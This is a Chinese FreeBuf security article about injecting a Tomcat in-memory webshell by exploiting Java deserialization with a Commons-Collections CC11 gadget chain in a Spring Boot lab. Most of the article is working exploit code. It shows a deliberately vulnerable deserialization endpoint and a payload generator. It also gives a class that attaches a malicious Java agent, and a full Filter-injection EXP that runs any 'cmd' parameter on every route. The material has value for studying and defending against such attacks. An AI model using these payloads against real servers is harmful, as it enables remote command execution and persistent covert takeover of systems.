freeBuf
结合反序列化注入tomcat内存马
2023-09-07 20:58:10

0x01 前提概述

通过前几个内存马的学习我们可以知道,将内存马写在jsp文件上传并不是传统意义上的内存马注入,jsp文件本质上就是一个servlet,servlet会编译成class文件,也会实现文件落地。借用木头师傅的一张图

1.png

结合反序列化注入内存马是动态注入内存马的常用方法,然而通过反序列化注入的方式没有jsp文件的request内置类,所以获取回显的方式我们也需要考虑,在此写下这篇文章分析总结反序列化注入的方法细节。

0x02 搭建反序列化环境

反序列化就用CC链来打,引入springboot和commons-collections还有javassist库的依赖

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-autoconfigure</artifactId>
<version>2.5.6</version>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
<version>2.5.6</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.28.0-GA</version>
</dependency>

编写一个控制器类,实现一个反序列化入口的路由

@RequestMapping("/attack")
@ResponseBody
public String evalTest(@RequestParam String data) throws IOException, ClassNotFoundException {
byte[] decode = Base64.getDecoder().decode(data);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byteArrayOutputStream.write(decode);
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
return "Success";
}

编写springboot的启动程序

import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.ComponentScan;

@SpringBootApplication
@ComponentScan("com.controller")
public class Application {

public static void main(String[] args){
SpringApplication.run(Application.class);
}
}

注入反序列化的话需要类加载,而cc2,cc3和cc11最终都是通过类加载来执行恶意代码,在本篇文章中就用cc11来作例子,cc11的代码逻辑不在分析,可以先看看网上的分析文章。

最后贴上CC1的代码:

package com.serialize;


import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CC11SerializeTest {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Field field;
TemplatesImpl templates = new TemplatesImpl();
byte[] evil = Files.readAllBytes(Paths.get("D:\\tmp\\classes\\test.class"));

field = TemplatesImpl.class.getDeclaredField("_name");
field.setAccessible(true);
field.set(templates, "1234");

field = TemplatesImpl.class.getDeclaredField("_bytecodes");
field.setAccessible(true);
field.set(templates, new byte[][]{evil});

field = TemplatesImpl.class.getDeclaredField("_tfactory");
field.setAccessible(true);
field.set(templates, new TransformerFactoryImpl());

Transformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
Map lazyMap = LazyMap.decorate(new HashMap<Object, Object>(), transformer);
Map tmp = new HashMap<>();

TiedMapEntry tiedMapEntry = new TiedMapEntry(tmp, templates);

HashMap<Object, Object>hashMap = new HashMap<Object, Object>();
hashMap.put(tiedMapEntry, 1);

field = TiedMapEntry.class.getDeclaredField("map");
field.setAccessible(true);
field.set(tiedMapEntry, lazyMap);

// serialize(hashMap);
// unserialize("web.ser");

ByteArrayOutputStream baor = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baor);
oos.writeObject(hashMap);
oos.close();
System.out.println(new String(Base64.getEncoder().encode(baor.toByteArray())));
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream out_obj1 = new ObjectOutputStream(new FileOutputStream("web.ser"));
out_obj1.writeObject(obj);
out_obj1.close();
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream obj2 = new ObjectInputStream(new FileInputStream(Filename));
Object ois = obj2.readObject();
return ois;
}
}

0x03 反序列化注入内存马分析

注入Agent内存马

注入Agent内存马需要加载Agent的jar包,通过 VirtualMachine 类启动后加载Agent.jar,需要满足两个前提操作

VirtualMachine.attach方法获取正在运行的jvm的进程号

loadAgent 方法动态注册代理程序Agent

利用反序列化打的时候对于像 VirtualMachine 的类不能直接new,获取一个 URLClassLoader 类加载器对VirtualMachine 类和 MyVirtualMachineDescriptor 进行类加载

java.io.File toolsPath = new java.io.File(System.getProperty("java.home").replace("jre","lib") + java.io.File.separator + "tools.jar");
java.net.URL url = toolsPath.toURI().toURL();
java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[]{url});
Class/*<?>*/ MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class/*<?>*/ MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");

jvm运行的进程号不能直接通过Jps -l获取

VirtualMachine 类有一个list 方法,它的目的是列出当前系统中所有正在运行的 Java 虚拟机(JVM)进程的描述符

2.png

用if条件判断当前运行的JVM,然后获取进程号,通过反射修改id属性,最后利用反射调用 loadAgent 方法动态注册Agent的jar包,最终的执行类为

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.File;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.util.List;

public class test extends AbstractTranslet {
static {
try {
System.out.println("Hello");
String path = "D:\\javaweb\\java\\java-agentShell\\java-agent\\out\\artifacts\\java_agent_jar\\java-agent.jar";
File toolsPath = new File(System.getProperty("java.home").replace("jre", "lib") + File.separator + "tools.jar");
URL url = toolsPath.toURI().toURL();
URLClassLoader classLoader = new URLClassLoader(new URL[] { url });
Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
Method listMethod = MyVirtualMachine.getDeclaredMethod("list", null);
List list = (List)listMethod.invoke(MyVirtualMachine, null);
System.out.println("Running JVM list ...");
for (int i = 0; i < list.size(); i++) {
Object o = list.get(i);
Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName", null);
String name = (String)displayName.invoke(o, null);
if (name.contains("Application")) {
Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id", null);
String id = (String)getId.invoke(o, null);
System.out.println("id >>> " + id);
Method attach = MyVirtualMachine.getDeclaredMethod("attach", new Class[] { String.class });
Object vm = attach.invoke(o, new Object[] { id });
Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent", new Class[] { String.class });
loadAgent.invoke(vm, new Object[] { path });
Method detach = MyVirtualMachine.getDeclaredMethod("detach", null);
detach.invoke(vm, null);
System.out.println("Agent.jar Inject Success !!");
break;
}
}
} catch (Exception e) {
e.printStackTrace();
}
}

public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

在CC链中动态加载字节码,需要将恶意类继承 AbstractTranslet 接口

启动springboot程序,访问attack路由

将序列化的base64编码打进去

Agent代理是通过字节码修改Filter,添加恶意代码

3.png

通过控制台日志可以看到已经修改成功了

4.png

内存马注入成功

5.png

任何路由都能获得命令回显。

获取request和response注入内存马

jsp文件中内置了 request 和 response 能够直接获取,可以在 response 写我们回显的内容。在通过反序列化注入的时候,我们需要通过一些手段获取到这两个类。

在ApplicationFilterChain类中定义了可以储存 request 和 response 的两个静态变量,分别为lastServicedRequest和lastServicedResponse

6.png

全局搜索这两个变量,发现一处重要的代码逻辑

7.png

如果 WRAP_SAME_OBJECT 是为true,lastServicedRequest 和 lastServicedResponse这两个静态变量就将request和response 放进去,在命令执行的时候就可以将执行结果写入回显中了。

首先修改 WRAP_SAME_OBJECT 属性,在 ApplicationDispatcher 类里

8.png

final字段修饰,不可更改,首先通过反射将 final 字段移除,final 字段通常会存储在 java.lang.reflect.Field类中的modifiers字段,

9.png

接着就是对lastServicedRequest 和 lastServicedResponse这两个字段初始化,初始化之后这两个字段就会储存Request和Response这两个对象,获取回显应该没太大问题。

剩下的就是动态注册Filter内存马了,Filter内存马之前分析过,在这篇文章就结合木头师傅文章里的EXP说一下流程

首先编写一个恶意的注入类,需要继承 AbstractTranslet 和 Filter 两大接口,前者是为了打CC链时能成功加载字节码,后者是为了动态注入一个恶意的Filter、

定义好参数以及路由

10.png

接着获取 StandardContext 上下文,这是必须的,使用doFilter方法将我们自定义的过滤器添加进去

在这个方法里

12.png

this.context.getState() 在运行时返回的state已经是 LifecycleState.STARTED 了,所以直接就抛异常了,filter根本就添加不进去。我们可以在filter添加之前修改state为 LifecycleState.STARTING_PREP ,使其跳过if,添加完成后,再将state恢复成 LifecycleState.STARTED。对应修改的代码

13.png

filter添加完成后,需要执行 filterStart 方法初始化过滤器,执行的代码

14.png

贴上完整的EXP

package com.serialize.javaagent;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;

import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;

/**
* @author threedr3am
*/
public class TomcatInject extends AbstractTranslet implements Filter {

/**
* webshell命令参数名
*/
private final String cmdParamName = "cmd";
private final static String filterUrlPattern = "/*";
private final static String filterName = "Xilitter";

static {
try {
ServletContext servletContext = getServletContext();
if (servletContext != null){
Field ctx = servletContext.getClass().getDeclaredField("context");
ctx.setAccessible(true);
ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);

Field stdctx = appctx.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(appctx);

if (standardContext != null){
// 这样设置不会抛出报错
Field stateField = org.apache.catalina.util.LifecycleBase.class
.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);

Filter myFilter =new TomcatInject();
// 调用 doFilter 来动态添加我们的 Filter
// 这里也可以利用反射来添加我们的 Filter
javax.servlet.FilterRegistration.Dynamic filterRegistration =
servletContext.addFilter(filterName,myFilter);

// 进行一些简单的设置
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
// 设置基本的 url pattern
filterRegistration
.addMappingForUrlPatterns(java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST), false,
new String[]{"/*"});

// 将服务重新修改回来,不然的话服务会无法正常进行
if (stateField != null){
stateField.set(standardContext,org.apache.catalina.LifecycleState.STARTED);
}

// 在设置之后我们需要 调用 filterstart
if (standardContext != null){
// 设置filter之后调用 filterstart 来启动我们的 filter
Method filterStartMethod = StandardContext.class.getDeclaredMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext,null);

/**
* 将我们的 filtermap 插入到最前面
*/

Class ccc = null;
try {
ccc = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Throwable t){}
if (ccc == null) {
try {
ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
} catch (Throwable t){}
}
//把filter插到第一位
Method m = Class.forName("org.apache.catalina.core.StandardContext")
.getDeclaredMethod("findFilterMaps");
Object[] filterMaps = (Object[]) m.invoke(standardContext);
Object[] tmpFilterMaps = new Object[filterMaps.length];
int index = 1;
for (int i = 0; i < filterMaps.length; i++) {
Object o = filterMaps[i];
m = ccc.getMethod("getFilterName");
String name = (String) m.invoke(o);
if (name.equalsIgnoreCase(filterName)) {
tmpFilterMaps[0] = o;
} else {
tmpFilterMaps[index++] = filterMaps[i];
}
}
for (int i = 0; i < filterMaps.length; i++) {
filterMaps[i] = tmpFilterMaps[i];
}
}
}

}

} catch (Exception e) {
e.printStackTrace();
}
}

private static ServletContext getServletContext()
throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ServletRequest servletRequest = null;
/*shell注入,前提需要能拿到request、response等*/
Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal threadLocal = (ThreadLocal) f.get(null);
//不为空则意味着第一次反序列化的准备工作已成功
if (threadLocal != null && threadLocal.get() != null) {
servletRequest = (ServletRequest) threadLocal.get();
}
//如果不能去到request,则换一种方式尝试获取

//spring获取法1
if (servletRequest == null) {
try {
c = Class.forName("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getRequest");
servletRequest = (ServletRequest) m.invoke(o);
} catch (Throwable t) {}
}
if (servletRequest != null)
return servletRequest.getServletContext();

//spring获取法2
try {
c = Class.forName("org.springframework.web.context.ContextLoader");
Method m = c.getMethod("getCurrentWebApplicationContext");
Object o = m.invoke(null);
c = Class.forName("org.springframework.web.context.WebApplicationContext");
m = c.getMethod("getServletContext");
ServletContext servletContext = (ServletContext) m.invoke(o);
return servletContext;
} catch (Throwable t) {}
return null;
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {

}

@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse,
FilterChain filterChain) throws IOException, ServletException {
System.out.println(
"TomcatShellInject doFilter.....................................................................");
String cmd;
if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}

@Override
public void destroy() {

}
}

启动springboot,用CC11的链将恶意类打进去

日志打印出信息,内存马注入成功

15.png

能够任意路由执行命令

16.png

参考文章:

http://wjlshare.com/archives/1541

本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
文章目录